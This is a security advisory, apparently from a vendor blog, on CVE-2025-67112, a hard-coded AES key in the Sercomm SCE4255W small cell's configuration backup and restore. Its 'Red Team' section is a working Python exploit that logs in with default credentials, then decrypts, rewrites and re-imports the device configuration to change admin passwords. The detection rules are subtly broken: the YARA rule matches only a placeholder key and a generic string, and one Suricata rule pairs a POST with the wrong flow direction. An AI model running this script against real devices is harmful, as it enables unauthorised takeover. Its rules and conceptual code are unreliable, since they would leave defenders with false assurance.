CVE-2025-67112

Executive Summary

CVE-2025-67112 exposes a critical security flaw in the Sercomm SCE4255W (FreedomFi Englewood) small cell device. The vulnerability stems from the use of a hard-coded AES-256-CBC key within the configuration backup and restore functionality. This allows any remote authenticated user to decrypt, modify, and re-encrypt device configurations. The primary impact is credential manipulation and privilege escalation, as an attacker can alter administrative credentials or other sensitive settings via the GUI import/export functions. The vendor, Sercomm, has released a patched firmware version (DG3934v3@2308041842), but the status of many deployed devices remains unknown.

CVSS Breakdown & Threat Level

While a formal CVSS vector is not provided, the impact is severe. The attack requires authentication but can lead to full device compromise. A reasonable assessment would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L)
• User Interaction (UI): None (N)
• Scope (S): Changed (C) – Compromise of the device can affect the network.
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The hard-coded key is static across all devices, making exploitation trivial once the key is extracted.

Deep Dive & Mechanics

The vulnerability lies in the configuration backup/restore mechanism of the Sercomm SCE4255W. The device uses AES-256-CBC encryption to protect configuration files during export and import. However, the encryption key is hard-coded in the firmware, meaning it is identical for every device.

Attack Flow:

1. Authentication: An attacker gains access to the device's web GUI with valid credentials (e.g., default or weak credentials).
2. Configuration Export: The attacker exports the current configuration file (e.g., config.bin).
3. Decryption: Using the known hard-coded AES-256-CBC key, the attacker decrypts the configuration file offline.
4. Modification: The attacker modifies the decrypted configuration, for example, by changing the admin password or adding a new privileged user.
5. Re-encryption: The attacker re-encrypts the modified configuration using the same hard-coded key.
6. Configuration Import: The attacker imports the modified configuration file back into the device via the GUI.
7. Privilege Escalation: The device applies the new configuration, granting the attacker elevated privileges or persistent access.

The key is embedded in the firmware binary, typically in a string or byte array. Extraction requires reverse engineering the firmware, but once done, it can be used against any SCE4255W device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

The vulnerable firmware likely contains a function similar to:

// Vulnerable: Hard-coded key
unsigned char aes_key[32] = {
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
    0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F
};

int encrypt_config(char *plaintext, char *ciphertext) {
    // Uses hard-coded aes_key
    AES_encrypt(plaintext, ciphertext, aes_key);
}

Patched Code (Conceptual):

The patched firmware (DG3934v3@2308041842) should replace the hard-coded key with a device-specific key derived from a unique identifier, such as the device serial number or a securely stored random value.

// Patched: Key derived from device-specific data
unsigned char aes_key[32];

int derive_key() {
    // Use a secure random generator or device-specific secret
    get_device_secret(aes_key);
}

int encrypt_config(char *plaintext, char *ciphertext) {
    derive_key();
    AES_encrypt(plaintext, ciphertext, aes_key);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Sercomm SCE4255W with vulnerable firmware.
• Attacker: Kali Linux machine on the same network.
• Tools: Python, pycryptodome, requests, firmware extraction tools (e.g., binwalk).

Exploitation Steps:

1. Extract Hard-coded Key:

   • Download the vulnerable firmware image.
   • Use binwalk to extract the filesystem.
   • Search for the AES key string (e.g., grep -r "AES" or look for a 32-byte constant).
   • Alternatively, use a debugger or emulator to dump the key at runtime.

2. Automate Attack:

   • Write a Python script to perform the attack.

import requests
from Crypto.Cipher import AES
import base64

# Hard-coded key (example - replace with actual extracted key)
key = bytes.fromhex('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
iv = bytes.fromhex('000102030405060708090A0B0C0D0E0F')  # Example IV, may also be hard-coded

target_url = "http://192.168.1.1"
username = "admin"
password = "admin"

session = requests.Session()
session.auth = (username, password)

# 1. Export config
export_url = f"{target_url}/cgi-bin/export_config"
response = session.get(export_url)
encrypted_config = response.content

# 2. Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_config = cipher.decrypt(encrypted_config)
# Remove padding (PKCS7)
pad_len = decrypted_config[-1]
decrypted_config = decrypted_config[:-pad_len]

# 3. Modify (e.g., change admin password)
# This requires understanding the config format (e.g., XML, JSON, or binary)
# For demonstration, assume it's a simple text file
modified_config = decrypted_config.replace(b'admin:oldpass', b'admin:newpass')

# 4. Re-encrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
# Add padding
pad_len = 16 - (len(modified_config) % 16)
modified_config += bytes([pad_len] * pad_len)
encrypted_modified = cipher.encrypt(modified_config)

# 5. Import config
import_url = f"{target_url}/cgi-bin/import_config"
files = {'file': ('config.bin', encrypted_modified, 'application/octet-stream')}
response = session.post(import_url, files=files)

if response.status_code == 200:
    print("Configuration imported successfully. Privilege escalation achieved.")
else:
    print("Import failed.")

Blue Team (Defensive)

Detection & Prevention:

• Network Monitoring: Monitor for unusual configuration export/import requests to the device's web interface.
• Firmware Integrity: Regularly check the firmware version and ensure it is patched.
• Access Control: Enforce strong, unique passwords for device administration. Disable default accounts.
• Segmentation: Place small cell devices on a separate VLAN with strict access controls.
• Logging: Enable and monitor device logs for configuration changes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/import_config with a file upload.
  • HTTP GET requests to /cgi-bin/export_config.
  • Unusual outbound connections from the device after configuration import.
• File IOCs:
  • Configuration files (config.bin) that are not encrypted with a device-specific key.
  • Modified configuration files containing unauthorized user accounts or changed passwords.
• System IOCs:
  • Unexpected changes to administrative credentials.
  • New user accounts appearing in the device's user list.
  • Device logs showing configuration imports from unknown IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_67112_Sercomm_Hardcoded_Key {
    meta:
        description = "Detects hard-coded AES key pattern in Sercomm SCE4255W firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67112"
    strings:
        $aes_key = { 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F }
        $aes_key2 = "AES-256-CBC" nocase
    condition:
        any of them
}

Sigma Rule

title: Sercomm SCE4255W Configuration Import/Export Activity
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-67112 via configuration import/export
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/import_config'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67112 Sercomm Configuration Export"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/export_config"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-67112 Sercomm Configuration Import"; flow:to_client,established; content:"POST"; http_method; content:"/cgi-bin/import_config"; http_uri; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update all Sercomm SCE4255W devices to firmware version DG3934v3@2308041842 or later.
2. Workaround: If patching is not immediately possible, restrict access to the device's web interface to trusted IP addresses only. Disable the configuration import/export feature if not required.
3. Long-term: Implement a secure key management process. Device-specific keys should be derived from hardware unique identifiers and stored securely. Conduct a firmware security audit to identify other hard-coded secrets.
4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT
Securing Digital Frontiers